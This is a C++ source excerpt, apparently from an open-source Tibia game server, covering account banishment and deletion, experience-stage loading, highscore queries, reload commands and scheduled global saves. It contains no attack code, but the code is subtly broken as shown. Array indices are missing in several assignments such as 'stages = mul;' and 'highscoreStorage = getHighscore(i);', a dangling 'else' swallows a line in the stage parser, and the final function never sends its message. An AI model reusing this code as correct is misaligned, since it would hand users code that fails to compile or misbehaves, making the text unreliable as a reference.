            case ACTION_NOTATION:
            {
                if(!IOBan::getInstance()->addNotation(account.number, reason,
                    comment, player->getGUID(), target->getGUID()))
                {
                    player->sendCancel("Unable to perform action.");
                    return false;
                }

                if(IOBan::getInstance()->getNotationsCount(account.number) < (uint32_t)
                    g_config.getNumber(ConfigManager::NOTATIONS_TO_BAN))
                {
                    kickAction = NONE;
                    break;
                }

                action = ACTION_BANISHMENT;
            }

            case ACTION_BANISHMENT:
            case ACTION_BANREPORT:
            {
                bool deny = action != ACTION_BANREPORT;
                int64_t banTime = -1;
                pos = 2;

                account.warnings++;
                if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION))
                    action = ACTION_DELETION;
                else if(length[0])
                    banTime = length[0];
                else if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN))
                    banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);
                else
                    banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH);

                if(!IOBan::getInstance()->addAccountBanishment(account.number, banTime, reason, action,
                    comment, player->getGUID(), target->getGUID()))
                {
                    account.warnings--;
                    player->sendCancel("Account is already banned.");
                    return false;
                }

                if(deny)
                    break;

                banTime = -1;
                PlayerBan_t tmp = (PlayerBan_t)g_config.getNumber(ConfigManager::NAME_REPORT_TYPE);
                if(tmp == PLAYERBAN_BANISHMENT)
                {
                    if(!length[1])
                        banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);
                    else
                        banTime = length[1];
                }

                IOBan::getInstance()->addPlayerBanishment(target->getGUID(), banTime, reason, action, comment,
                    player->getGUID(), tmp);
                break;
            }

            case ACTION_BANFINAL:
            case ACTION_BANREPORTFINAL:
            {
                bool allow = action == ACTION_BANREPORTFINAL;
                int64_t banTime = -1;

                account.warnings++;
                if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION))
                    action = ACTION_DELETION;
                else if(length[0])
                    banTime = length[0];
                else
                    banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);

                if(!IOBan::getInstance()->addAccountBanishment(account.number, banTime, reason, action,
                    comment, player->getGUID(), target->getGUID()))
                {
                    account.warnings--;
                    player->sendCancel("Account is already banned.");
                    return false;
                }

                if(action != ACTION_DELETION)
                    account.warnings += (g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN) - 1);

                if(allow)
                    IOBan::getInstance()->addPlayerBanishment(target->getGUID(), -1, reason, action, comment,
                        player->getGUID(), (PlayerBan_t)g_config.getNumber(
                        ConfigManager::NAME_REPORT_TYPE));

                break;
            }

            case ACTION_DELETION:
            {
                //completely internal
                account.warnings++;
                if(!IOBan::getInstance()->addAccountBanishment(account.number, -1, reason, ACTION_DELETION,
                    comment, player->getGUID(), target->getGUID()))
                {
                    account.warnings--;
                    player->sendCancel("Account is currently banned or already deleted.");
                    return false;
                }

                break;
            }

            default:
                // these just shouldn't occur in rvw
                return false;
        }

        if(ipBanishment && target->getIP())
        {
            if(!length[pos])
                length[pos] = time(NULL) + g_config.getNumber(ConfigManager::IPBANISHMENT_LENGTH);

            IOBan::getInstance()->addIpBanishment(target->getIP(), length[pos], reason, comment, player->getGUID(), 0xFFFFFFFF);
        }

        if(kickAction == FULL_KICK)
            IOBan::getInstance()->removeNotations(account.number);

        std::stringstream ss;
        if(g_config.getBool(ConfigManager::BROADCAST_BANISHMENTS))
            ss << player->getName() << " has";
        else
            ss << "You have";

        ss << " taken the action \"" << getAction(action, ipBanishment) << "\"";
        switch(action)
        {
            case ACTION_NOTATION:
            {
                ss << " (" << (g_config.getNumber(ConfigManager::NOTATIONS_TO_BAN) - IOBan::getInstance()->getNotationsCount(
                    account.number)) << " left to banishment)";
                break;
            }
            case ACTION_STATEMENT:
            {
                ss << " for the statement: \"" << statement << "\"";
                break;
            }
            default:
                break;
        }

        ss << " against: " << name << " (Warnings: " << account.warnings << "), with reason: \"" << getReason(
            reason) << "\", and comment: \"" << comment << "\".";
        if(g_config.getBool(ConfigManager::BROADCAST_BANISHMENTS))
            broadcastMessage(ss.str(), MSG_STATUS_WARNING);
        else
            player->sendTextMessage(MSG_STATUS_CONSOLE_RED, ss.str());

        if(target->isVirtual())
        {
            delete target;
            target = NULL;
        }
        else if(kickAction > NONE)
        {
            char buffer[30];
            sprintf(buffer, "You have been %s.", (kickAction > KICK ? "banished" : "namelocked"));
            target->sendTextMessage(MSG_INFO_DESCR, buffer);

            addMagicEffect(target->getPosition(), MAGIC_EFFECT_WRAPS_GREEN);
            Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind(
                &Game::kickPlayer, this, target->getID(), false)));
        }

        IOLoginData::getInstance()->saveAccount(account);
        return true;
    }

    void Game::kickPlayer(uint32_t playerId, bool displayEffect)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return;

        player->kickPlayer(displayEffect, true);
    }

    bool Game::broadcastMessage(const std::string& text, MessageClasses type)
    {
        if(type < MSG_CLASS_FIRST || type > MSG_CLASS_LAST)
            return false;

        std::cout << "> Broadcasted message: \"" << text << "\"." << std::endl;
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
            it->second->sendTextMessage(type, text);

        return true;
    }

    Position Game::getClosestFreeTile(Creature* creature, Position pos, bool extended/* = false*/, bool ignoreHouse/* = true*/)
    {
        PairVector relList;
        relList.push_back(PositionPair(0, 0));
        relList.push_back(PositionPair(-1, -1));
        relList.push_back(PositionPair(-1, 0));
        relList.push_back(PositionPair(-1, 1));
        relList.push_back(PositionPair(0, -1));
        relList.push_back(PositionPair(0, 1));
        relList.push_back(PositionPair(1, -1));
        relList.push_back(PositionPair(1, 0));
        relList.push_back(PositionPair(1, 1));

        if(extended)
        {
            relList.push_back(PositionPair(-2, 0));
            relList.push_back(PositionPair(0, -2));
            relList.push_back(PositionPair(0, 2));
            relList.push_back(PositionPair(2, 0));
        }

        std::random_shuffle(relList.begin() + 1, relList.end());
        if(Player* player = creature->getPlayer())
        {
            for(PairVector::iterator it = relList.begin(); it != relList.end(); ++it)
            {
                Tile* tile = map->getTile(Position((pos.x + it->first), (pos.y + it->second), pos.z));
                if(!tile || !tile->ground)
                    continue;

                ReturnValue ret = tile->__queryAdd(0, player, 1, FLAG_IGNOREBLOCKITEM);
                if(ret == RET_NOTENOUGHROOM || (ret == RET_NOTPOSSIBLE && !player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere))
                    || (ret == RET_PLAYERISNOTINVITED && !ignoreHouse && !player->hasFlag(PlayerFlag_CanEditHouses)))
                    continue;

                return tile->getPosition();
            }
        }
        else
        {
            for(PairVector::iterator it = relList.begin(); it != relList.end(); ++it)
            {
                Tile* tile = NULL;
                if((tile = map->getTile(Position((pos.x + it->first), (pos.y + it->second), pos.z)))
                    && tile->__queryAdd(0, creature, 1, FLAG_IGNOREBLOCKITEM) == RET_NOERROR)
                    return tile->getPosition();
            }
        }

        return Position(0, 0, 0);
    }

    std::string Game::getSearchString(const Position fromPos, const Position toPos, bool fromIsCreature/* = false*/, bool toIsCreature/* = false*/)
    {
        /*
         * When the position is on same level and 0 to 4 squares away, they are "[toIsCreature: standing] next to you"
         * When the position is on same level and 5 to 100 squares away they are "to the north/west/south/east."
         * When the position is on any level and 101 to 274 squares away they are "far to the north/west/south/east."
         * When the position is on any level and 275+ squares away they are "very far to the north/west/south/east."
         * When the position is not directly north/west/south/east of you they are "((very) far) to the north-west/south-west/south-east/north-east."
         * When the position is on a lower or higher level and 5 to 100 squares away they are "on a lower (or) higher level to the north/west/south/east."
         * When the position is on a lower or higher level and 0 to 4 squares away they are "below (or) above you."
         */

        enum distance_t
        {
            DISTANCE_BESIDE,
            DISTANCE_CLOSE,
            DISTANCE_FAR,
            DISTANCE_VERYFAR
        };

        enum direction_t
        {
            DIR_N, DIR_S, DIR_E, DIR_W,
            DIR_NE, DIR_NW, DIR_SE, DIR_SW
        };

        enum level_t
        {
            LEVEL_HIGHER,
            LEVEL_LOWER,
            LEVEL_SAME
        };

        distance_t distance;
        direction_t direction;
        level_t level;

        int32_t dx = fromPos.x - toPos.x, dy = fromPos.y - toPos.y, dz = fromPos.z - toPos.z;
        if(dz > 0)
            level = LEVEL_HIGHER;
        else if(dz < 0)
            level = LEVEL_LOWER;
        else
            level = LEVEL_SAME;

        if(std::abs(dx) < 5 && std::abs(dy) < 5)
            distance = DISTANCE_BESIDE;
        else
        {
            int32_t tmp = dx * dx + dy * dy;
            if(tmp < 10000)
                distance = DISTANCE_CLOSE;
            else if(tmp < 75625)
                distance = DISTANCE_FAR;
            else
                distance = DISTANCE_VERYFAR;
        }

        float tan;
        if(dx != 0)
            tan = (float)dy / (float)dx;
        else
            tan = 10.;

        if(std::abs(tan) < 0.4142)
        {
            if(dx > 0)
                direction = DIR_W;
            else
                direction = DIR_E;
        }
        else if(std::abs(tan) < 2.4142)
        {
            if(tan > 0)
            {
                if(dy > 0)
                    direction = DIR_NW;
                else
                    direction = DIR_SE;
            }
            else
            {
                if(dx > 0)
                    direction = DIR_SW;
                else
                    direction = DIR_NE;
            }
        }
        else
        {
            if(dy > 0)
                direction = DIR_N;
            else
                direction = DIR_S;
        }

        std::stringstream ss;
        switch(distance)
        {
            case DISTANCE_BESIDE:
            {
                switch(level)
                {
                    case LEVEL_SAME:
                    {
                        ss << "is ";
                        if(toIsCreature)
                            ss << "standing ";

                        ss << "next to you";
                        break;
                    }

                    case LEVEL_HIGHER:
                    {
                        ss << "is above ";
                        if(fromIsCreature)
                            ss << "you";

                        break;
                    }

                    case LEVEL_LOWER:
                    {
                        ss << "is below ";
                        if(fromIsCreature)
                            ss << "you";

                        break;
                    }

                    default:
                        break;
                }

                break;
            }

            case DISTANCE_CLOSE:
            {
                switch(level)
                {
                    case LEVEL_SAME:
                        ss << "is to the";
                        break;
                    case LEVEL_HIGHER:
                        ss << "is on a higher level to the";
                        break;
                    case LEVEL_LOWER:
                        ss << "is on a lower level to the";
                        break;
                    default:
                        break;
                }

                break;
            }

            case DISTANCE_FAR:
                ss << "is far to the";
                break;

            case DISTANCE_VERYFAR:
                ss << "is very far to the";
                break;

            default:
                break;
        }

        if(distance != DISTANCE_BESIDE)
        {
            ss << " ";
            switch(direction)
            {
                case DIR_N:
                    ss << "north";
                    break;

                case DIR_S:
                    ss << "south";
                    break;

                case DIR_E:
                    ss << "east";
                    break;

                case DIR_W:
                    ss << "west";
                    break;

                case DIR_NE:
                    ss << "north-east";
                    break;

                case DIR_NW:
                    ss << "north-west";
                    break;

                case DIR_SE:
                    ss << "south-east";
                    break;

                case DIR_SW:
                    ss << "south-west";
                    break;

                default:
                    break;
            }
        }

        return ss.str();
    }

    double Game::getExperienceStage(uint32_t level, double divider/* = 1.*/)
    {
        if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES))
            return g_config.getDouble(ConfigManager::RATE_EXPERIENCE) * divider;

        if(lastStageLevel && level >= lastStageLevel)
            return stages[lastStageLevel] * divider;

        return stages[level] * divider;
    }

    bool Game::fetchBlacklist()
    {
        xmlDocPtr doc = xmlParseFile("http://forgottenserver.otland.net/blacklist.xml");
        if(!doc)
            return false;

        xmlNodePtr p, root = xmlDocGetRootElement(doc);
        if(!xmlStrcmp(root->name, (const xmlChar*)"blacklist"))
        {
            p = root->children;
            while(p)
            {
                if(!xmlStrcmp(p->name, (const xmlChar*)"entry"))
                {
                    std::string ip;
                    if(readXMLString(p, "ip", ip))
                        blacklist.push_back(ip);
                }

                p = p->next;
            }
        }

        xmlFreeDoc(doc);
        return true;
    }

    bool Game::loadExperienceStages()
    {
        if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES))
            return true;

        xmlDocPtr doc = xmlParseFile(getFilePath(FILE_TYPE_XML, "stages.xml").c_str());
        if(!doc)
        {
            std::cout << "[Warning - Game::loadExperienceStages] Cannot load stages file." << std::endl;
            std::cout << getLastXMLError() << std::endl;
            return false;
        }

        xmlNodePtr q, p, root = xmlDocGetRootElement(doc);
        if(xmlStrcmp(root->name, (const xmlChar*)"stages"))
        {
            std::cout << "[Error - Game::loadExperienceStages] Malformed stages file" << std::endl;
            xmlFreeDoc(doc);
            return false;
        }

        int32_t intValue, low = 0, high = 0;
        float floatValue, mul = 1.0f, defStageMultiplier;
        std::string strValue;

        lastStageLevel = 0;
        stages.clear();

        q = root->children;
        while(q)
        {
            if(!xmlStrcmp(q->name, (const xmlChar*)"world"))
            {
                if(readXMLString(q, "id", strValue))
                {
                    IntegerVec intVector;
                    if(!parseIntegerVec(strValue, intVector) || std::find(intVector.begin(),
                        intVector.end(), g_config.getNumber(ConfigManager::WORLD_ID)) == intVector.end())
                    {
                        q = q->next;
                        continue;
                    }
                }

                defStageMultiplier = 1.0f;
                if(readXMLFloat(q, "multiplier", floatValue))
                    defStageMultiplier = floatValue;

                p = q->children;
                while(p)
                {
                    if(!xmlStrcmp(p->name, (const xmlChar*)"stage"))
                    {
                        low = 1;
                        if(readXMLInteger(p, "minlevel", intValue) || readXMLInteger(p, "minLevel", intValue))
                            low = intValue;

                        high = 0;
                        if(readXMLInteger(p, "maxlevel", intValue) || readXMLInteger(p, "maxLevel", intValue))
                            high = intValue;
                        else
                            lastStageLevel = low;

                        mul = 1.0f;
                        if(readXMLFloat(p, "multiplier", floatValue))
                            mul = floatValue;

                        mul *= defStageMultiplier;
                        if(lastStageLevel && lastStageLevel == (uint32_t)low)
                            stages[lastStageLevel] = mul;
                        else
                        {
                            for(int32_t i = low; i <= high; i++)
                                stages = mul;
                        }
                    }

                    p = p->next;
                }
            }

            if(!xmlStrcmp(q->name, (const xmlChar*)"stage"))
            {
                low = 1;
                if(readXMLInteger(q, "minlevel", intValue))
                    low = intValue;
                else

                high = 0;
                if(readXMLInteger(q, "maxlevel", intValue))
                    high = intValue;
                else
                    lastStageLevel = low;

                mul = 1.0f;
                if(readXMLFloat(q, "multiplier", floatValue))
                    mul = floatValue;

                if(lastStageLevel && lastStageLevel == (uint32_t)low)
                    stages[lastStageLevel] = mul;
                else
                {
                    for(int32_t i = low; i <= high; i++)
                        stages = mul;
                }
            }

            q = q->next;
        }

        xmlFreeDoc(doc);
        return true;
    }

    bool Game::reloadHighscores()
    {
        lastHighscoreCheck = time(NULL);
        for(int16_t i = 0; i < 9; ++i)
            highscoreStorage = getHighscore(i);

        return true;
    }

    void Game::checkHighscores()
    {
        reloadHighscores();
        uint32_t tmp = g_config.getNumber(ConfigManager::HIGHSCORES_UPDATETIME) * 60 * 1000;
        if(tmp <= 0)
            return;

        Scheduler::getInstance().addEvent(createSchedulerTask(tmp, boost::bind(&Game::checkHighscores, this)));
    }

    std::string Game::getHighscoreString(uint16_t skill)
    {
        Highscore hs = highscoreStorage[skill];
        std::stringstream ss;
        ss << "Highscore for " << getSkillName(skill) << "\n\nRank Level - Player Name";
        for(uint32_t i = 0; i < hs.size(); i++)
            ss << "\n" << (i + 1) << ".  " << hs.second << "  -  " << hs.first;

        ss << "\n\nLast updated on:\n" << std::ctime(&lastHighscoreCheck);
        return ss.str();
    }

    Highscore Game::getHighscore(uint16_t skill)
    {
        Highscore hs;

        Database* db = Database::getInstance();
        DBResult* result;

        DBQuery query;
        if(skill >= SKILL__MAGLEVEL)
        {
            if(skill == SKILL__MAGLEVEL)
                query << "SELECT `maglevel`, `name` FROM `players` ORDER BY `maglevel` DESC, `manaspent` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);
            else
                query << "SELECT `level`, `name` FROM `players` ORDER BY `level` DESC, `experience` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);

            if(!(result = db->storeQuery(query.str())))
                return hs;

            do
            {
                uint32_t level;
                if(skill == SKILL__MAGLEVEL)
                    level = result->getDataInt("maglevel");
                else
                    level = result->getDataInt("level");

                std::string name = result->getDataString("name");
                if(name.length() > 0)
                    hs.push_back(std::make_pair(name, level));
            }
            while(result->next());
            result->free();
        }
        else
        {
            query << "SELECT `player_skills`.`value`, `players`.`name` FROM `player_skills`,`players` WHERE `player_skills`.`skillid`=" << skill << " AND `player_skills`.`player_id`=`players`.`id` ORDER BY `player_skills`.`value` DESC, `player_skills`.`count` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);
            if(!(result = db->storeQuery(query.str())))
                return hs;

            do
            {
                std::string name = result->getDataString("name");
                if(name.length() > 0)
                    hs.push_back(std::make_pair(name, result->getDataInt("value")));
            }
            while(result->next());
            result->free();
        }

        return hs;
    }

    int32_t Game::getMotdId()
    {
        if(lastMotd == g_config.getString(ConfigManager::MOTD))
            return lastMotdId;

        lastMotd = g_config.getString(ConfigManager::MOTD);
        Database* db = Database::getInstance();

        DBQuery query;
        query << "INSERT INTO `server_motd` (`id`, `world_id`, `text`) VALUES (" << ++lastMotdId << ", " << g_config.getNumber(ConfigManager::WORLD_ID) << ", " << db->escapeString(lastMotd) << ")";
        if(db->executeQuery(query.str()))
            return lastMotdId;

        return --lastMotdId;
    }

    void Game::loadMotd()
    {
        Database* db = Database::getInstance();
        DBQuery query;
        query << "SELECT `id`, `text` FROM `server_motd` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `id` DESC LIMIT 1";

        DBResult* result;
        if(!(result = db->storeQuery(query.str())))
        {
            std::cout << "> ERROR: Failed to load motd!" << std::endl;
            lastMotdId = random_range(5, 500);
            return;
        }

        lastMotdId = result->getDataInt("id");
        lastMotd = result->getDataString("text");
        result->free();
    }

    void Game::checkPlayersRecord(Player* player)
    {
        uint32_t count = getPlayersOnline();
        if(count <= playersRecord)
            return;

        GlobalEventMap recordEvents = g_globalEvents->getEventMap(GLOBAL_EVENT_RECORD);
        for(GlobalEventMap::iterator it = recordEvents.begin(); it != recordEvents.end(); ++it)
            it->second->executeRecord(count, playersRecord, player);

        playersRecord = count;
    }

    void Game::loadPlayersRecord()
    {
        Database* db = Database::getInstance();
        DBQuery query;
        query << "SELECT `record` FROM `server_record` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `timestamp` DESC LIMIT 1";

        DBResult* result;
        if(!(result = db->storeQuery(query.str())))
        {
            std::cout << "> ERROR: Failed to load players record!" << std::endl;
            return;
        }

        playersRecord = result->getDataInt("record");
        result->free();
    }

    bool Game::reloadInfo(ReloadInfo_t reload, uint32_t playerId/* = 0*/)
    {
        bool done = false;
        switch(reload)
        {
            case RELOAD_ACTIONS:
            {
                if(g_actions->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload actions." << std::endl;

                break;
            }

            case RELOAD_CHAT:
            {
                if(g_chat.reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload chat." << std::endl;

                break;
            }

            case RELOAD_CONFIG:
            {
                if(g_config.reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload config." << std::endl;

                break;
            }

            case RELOAD_CREATUREEVENTS:
            {
                if(g_creatureEvents->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload creature events." << std::endl;

                break;
            }

            case RELOAD_GAMESERVERS:
            {
                #ifdef __LOGIN_SERVER__
                if(GameServers::getInstance()->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload game servers." << std::endl;

                #endif
                break;
            }

            case RELOAD_GLOBALEVENTS:
            {
                if(g_globalEvents->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload global events." << std::endl;

                break;
            }

            case RELOAD_GROUPS:
            {
                //if(Groups::getInstance()->reload())
                    done = true;
                //else
                //    std::cout << "[Error - Game::reloadInfo] Failed to reload groups." << std::endl;

                break;
            }

            case RELOAD_HIGHSCORES:
            {
                if(reloadHighscores())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload highscores." << std::endl;

                break;
            }

            case RELOAD_HOUSEPRICES:
            {
                if(Houses::getInstance()->reloadPrices())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload house prices." << std::endl;

                break;
            }

            case RELOAD_ITEMS:
            {
                //TODO
                std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
                done = true;
                break;
            }

            case RELOAD_MODS:
            {
                std::cout << ">> Reloading mods..." << std::endl;
                if(ScriptingManager::getInstance()->reloadMods())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload mods." << std::endl;

                break;
            }

            case RELOAD_MONSTERS:
            {
                if(g_monsters.reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload monsters." << std::endl;

                break;
            }

            case RELOAD_MOVEEVENTS:
            {
                if(g_moveEvents->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload move events." << std::endl;

                break;
            }

            case RELOAD_NPCS:
            {
                g_npcs.reload();
                done = true;
                break;
            }

            case RELOAD_OUTFITS:
            {
                //TODO
                std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
                done = true;
                break;
            }

            case RELOAD_QUESTS:
            {
                if(Quests::getInstance()->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload quests." << std::endl;

                break;
            }

            case RELOAD_RAIDS:
            {
                if(!Raids::getInstance()->reload())
                    std::cout << "[Error - Game::reloadInfo] Failed to reload raids." << std::endl;
                else if(!Raids::getInstance()->startup())
                    std::cout << "[Error - Game::reloadInfo] Failed to startup raids when reloading." << std::endl;
                else
                    done = true;

                break;
            }

            case RELOAD_SPELLS:
            {
                if(!g_spells->reload())
                    std::cout << "[Error - Game::reloadInfo] Failed to reload spells." << std::endl;
                else if(!g_monsters.reload())
                    std::cout << "[Error - Game::reloadInfo] Failed to reload monsters when reloading spells." << std::endl;
                else
                    done = true;

                break;
            }

            case RELOAD_STAGES:
            {
                if(loadExperienceStages())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload stages." << std::endl;

                break;
            }

            case RELOAD_TALKACTIONS:
            {
                if(g_talkActions->reload())
                    done = true;
                else
                    std::cout << "[Error - Game::reloadInfo] Failed to reload talk actions." << std::endl;

                break;
            }

            case RELOAD_VOCATIONS:
            {
                //if(Vocations::getInstance()->reload())
                    done = true;
                //else
                //    std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;

                break;
            }

            case RELOAD_WEAPONS:
            {
                //TODO
                std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
                done = true;
                break;
            }

            case RELOAD_ALL:
            {
                done = true;
                for(uint8_t i = RELOAD_FIRST; i <= RELOAD_LAST; i++)
                {
                    if(!reloadInfo((ReloadInfo_t)i) && done)
                        done = false;
                }

                break;
            }

            default:
            {
                std::cout << "[Warning - Game::reloadInfo] Reload type not found." << std::endl;
                break;
            }
        }

        if(!playerId)
            return done;

        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return done;

        if(done)
        {
            player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Reloaded successfully.");
            return true;
        }

        player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Failed to reload.");
        return false;
    }

    void Game::prepareGlobalSave()
    {
        if(!globalSaveMessage[0])
        {
            setGameState(GAME_STATE_CLOSING);
            globalSaveMessage[0] = true;

            broadcastMessage("Server is going down for a global save within 5 minutes. Please logout.", MSG_STATUS_WARNING);
            Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this)));
        }
        else if(!globalSaveMessage[1])
        {
            globalSaveMessage[1] = true;
            broadcastMessage("Server is going down for a global save within 3 minutes. Please logout.", MSG_STATUS_WARNING);
            Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this)));
        }
        else if(!globalSaveMessage[2])
        {
            globalSaveMessage[2] = true;
            broadcastMessage("Server is going down for a global save in one minute, please logout!", MSG_STATUS_WARNING);
            Scheduler::getInstance().addEvent(createSchedulerTask(60000, boost::bind(&Game::prepareGlobalSave, this)));
        }
        else
            globalSave();
    }

    void Game::globalSave()
    {
        if(g_config.getBool(ConfigManager::SHUTDOWN_AT_GLOBALSAVE))
        {
            //shutdown server
            Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN)));
            return;
        }

        //close server
        Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_CLOSED)));
        //clean map if configured to
        if(g_config.getBool(ConfigManager::CLEAN_MAP_AT_GLOBALSAVE))
        {
            uint32_t dummy;
            cleanMap(dummy);
        }

        //pay houses
        Houses::getInstance()->payHouses();
        //clear temporial and expired bans
        IOBan::getInstance()->clearTemporials();
        //remove premium days globally if configured to
        if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT))
            IOLoginData::getInstance()->updatePremiumDays();

        //reload everything
        reloadInfo(RELOAD_ALL);
        //reset variables
        for(int16_t i = 0; i < 3; i++)
            setGlobalSaveMessage(i, false);

        //prepare for next global save after 24 hours
        Scheduler::getInstance().addEvent(createSchedulerTask(86100000, boost::bind(&Game::prepareGlobalSave, this)));
        //open server
        Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_NORMAL)));
    }

    void Game::shutdown()
    {
        std::cout << "Preparing";
        Scheduler::getInstance().shutdown();
        std::cout << " to";
        Dispatcher::getInstance().shutdown();
        std::cout << " shutdown";
        Spawns::getInstance()->clear();
        std::cout << " the";
        Raids::getInstance()->clear();
        std::cout << " server";
        cleanup();
        std::cout << "- done." << std::endl;
        if(services)
            services->stop();
    #if defined(WINDOWS) && !defined(__CONSOLE__)

        exit(1);
    #endif
    }

    void Game::cleanup()
    {
        //free memory
        for(std::vector<Thing*>::iterator it = releaseThings.begin(); it != releaseThings.end(); ++it)
            (*it)->unRef();

        releaseThings.clear();
        for(DecayList::iterator it = toDecayItems.begin(); it != toDecayItems.end(); ++it)
        {
            int32_t dur = (*it)->getDuration();
            if(dur >= EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS)
                decayItems[lastBucket].push_back(*it);
            else
                decayItems[(lastBucket + 1 + (*it)->getDuration() / 1000) % EVENT_DECAYBUCKETS].push_back(*it);
        }

        toDecayItems.clear();
    }

    void Game::freeThing(Thing* thing)
    {
        releaseThings.push_back(thing);
    }

    void Game::showHotkeyUseMessage(Player* player, Item* item)
    {
        int32_t subType = -1;
        if(item->hasSubType() && !item->hasCharges())
            subType = item->getSubType();

        const ItemType& it = Item::items[item->getID()];
        uint32_t count = player->__getItemTypeCount(item->getID(), subType, false);

        char buffer[40 + it.name.size()];
        if(count == 1)
            sprintf(buffer, "Using the last %s...", it.name.c_str());
        else
            sprintf(buffer, "Using one of %d %s...", count, it.pluralName.c_str());

    }
     

     

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